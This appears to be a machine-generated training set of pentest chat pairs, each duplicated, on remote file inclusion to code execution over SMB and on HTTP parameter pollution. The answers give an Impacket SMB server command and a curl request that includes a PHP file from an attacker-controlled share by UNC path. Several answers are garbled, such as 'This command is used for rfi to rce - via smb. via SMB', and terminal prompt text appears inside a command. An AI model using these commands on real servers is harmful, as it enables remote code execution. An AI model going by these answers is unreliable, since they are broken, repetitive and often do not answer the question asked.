[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about RFI to RCE - via SMB

[Assistant]
Sometimes, the vulnerable web application is hosted on a Windows Server, meaning the attacker could log into a SMB Server to store the arbitrary PHP code.

Impacket's smbserver.py (Python) script can be used on the attacker-controlled machine to create a SMB Server.

``
sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
`

The PHP script can then be included by using a UNC Path.

`bash
curl '$URL/?parameter=\\tester.server\phpinfo.php'
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Sometimes, the vulnerable web application is hosted on a Windows Server, meaning the attacker could log into a SMB Server to store the arbitrary PHP code.

Impacket's smbserver.py (Python) script can be used on the attacker-controlled machine to create a SMB Server.

``
sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
`

The PHP script can then be included by using a UNC Path.

`bash
curl '$URL/?parameter=\\tester.server\phpinfo.php'
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on RFI to RCE - via SMB

[Assistant]
Sometimes, the vulnerable web application is hosted on a Windows Server, meaning the attacker could log into a SMB Server to store the arbitrary PHP code.

Impacket's smbserver.py (Python) script can be used on the attacker-controlled machine to create a SMB Server.

``
sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
`

The PHP script can then be included by using a UNC Path.

`bash
curl '$URL/?parameter=\\tester.server\phpinfo.php'
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Sometimes, the vulnerable web application is hosted on a Windows Server, meaning the attacker could log into a SMB Server to store the arbitrary PHP code.

Impacket's smbserver.py (Python) script can be used on the attacker-controlled machine to create a SMB Server.

``
sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
`

The PHP script can then be included by using a UNC Path.

`bash
curl '$URL/?parameter=\\tester.server\phpinfo.php'
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Show me the python3 command for rfi to rce - via smb

[Assistant]
sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Show me the python3 command for rfi to rce - via smb

Response:
sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on RFI to RCE - via SMB

[Assistant]
sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu
Impacket v0.10.1.dev1 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu`?

[Assistant] This command is used for rfi to rce - via smb. via SMB

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `sudo python3 smbserver.py -smb2support share $(pwd) 130 ↵ alex@ubuntu`?

Response: This command is used for rfi to rce - via smb. via SMB


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the curl command to rfi to rce - via smb

[Assistant] curl '$URL/?parameter=\\tester.server\phpinfo.php'

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the curl command to rfi to rce - via smb

Response: curl '$URL/?parameter=\\tester.server\phpinfo.php'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on RFI to RCE - via SMB

[Assistant] curl '$URL/?parameter=\\tester.server\phpinfo.php'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: curl '$URL/?parameter=\\tester.server\phpinfo.php'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `curl '$URL/?parameter=\\tester.server\phpinfo.php'`?

[Assistant] This command is used for rfi to rce - via smb. via SMB

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `curl '$URL/?parameter=\\tester.server\phpinfo.php'`?

Response: This command is used for rfi to rce - via smb. via SMB


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does HTTP parameter pollution - Theory work?

[Assistant]
A query parameter allows a client to refine researches on a website. It is composed of a key (the parameter name) and a value (what we are requesting).

With parameter pollution, we enter a query parameter with the same key multiple times. For example, we could have $URL?username=X&username=Y, but which one does a web server choose?\
In fact, each web servers adopt different behaviors: some of them choose the first parameter, the second parameter, or every parameter.

This attack could allow an attacker to bypass input validation and WAFs rules, manipulate, access, or retrieve hidden information.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does HTTP parameter pollution - Theory work?

Response:
A query parameter allows a client to refine researches on a website. It is composed of a key (the parameter name) and a value (what we are requesting).

With parameter pollution, we enter a query parameter with the same key multiple times. For example, we could have $URL?username=X&username=Y, but which one does a web server choose?\
In fact, each web servers adopt different behaviors: some of them choose the first parameter, the second parameter, or every parameter.

This attack could allow an attacker to bypass input validation and WAFs rules, manipulate, access, or retrieve hidden information.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on HTTP parameter pollution - Theory

[Assistant]
A query parameter allows a client to refine researches on a website. It is composed of a key (the parameter name) and a value (what we are requesting).

With parameter pollution, we enter a query parameter with the same key multiple times. For example, we could have $URL?username=X&username=Y, but which one does a web server choose?\
In fact, each web servers adopt different behaviors: some of them choose the first parameter, the second parameter, or every parameter.

This attack could allow an attacker to bypass input validation and WAFs rules, manipulate, access, or retrieve hidden information.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on HTTP parameter pollution - Theory

Response:
A query parameter allows a client to refine researches on a website. It is composed of a key (the parameter name) and a value (what we are requesting).

With parameter pollution, we enter a query parameter with the same key multiple times. For example, we could have $URL?username=X&username=Y, but which one does a web server choose?\
In fact, each web servers adopt different behaviors: some of them choose the first parameter, the second parameter, or every parameter.

This attack could allow an attacker to bypass input validation and WAFs rules, manipulate, access, or retrieve hidden information.